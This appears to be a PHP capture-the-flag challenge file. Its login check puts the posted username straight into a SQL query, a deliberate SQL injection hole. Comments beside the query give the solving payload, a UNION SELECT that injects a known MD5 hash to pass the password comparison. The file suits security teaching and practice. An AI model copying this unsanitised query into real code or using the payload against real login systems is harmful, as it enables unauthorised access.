天天看點

php繞過登陸密碼,09 密碼md5比較繞過.php

//配置資料庫

if($_POST[user] && $_POST[pass]) {

$conn = mysql_connect("********, "*****", "********");

mysql_select_db("phpformysql") or die("Could not select database");

if ($conn->connect_error) {

die("Connection failed: " . mysql_error($conn));

}

//指派

$user = $_POST[user];

$pass = md5($_POST[pass]);

//sql語句

// select pw from php where user='' union select 'e10adc3949ba59abbe56e057f20f883e' #

// ?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456

$sql = "select pw from php where user='$user'";

$query = mysql_query($sql);

if (!$query) {

printf("Error: %s\n", mysql_error($conn));

exit();

}

$row = mysql_fetch_array($query, MYSQL_ASSOC);

//echo $row["pw"];

if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {

//如果 str1 小于 str2 傳回 < 0; 如果 str1 大于 str2 傳回 > 0;如果兩者相等,傳回 0。

echo "

Logged in! Key:**************

";

}

else {

echo("

Log in failure!

");

}

}

?>

一鍵複制

編輯

Web IDE

原始資料

按行檢視

曆史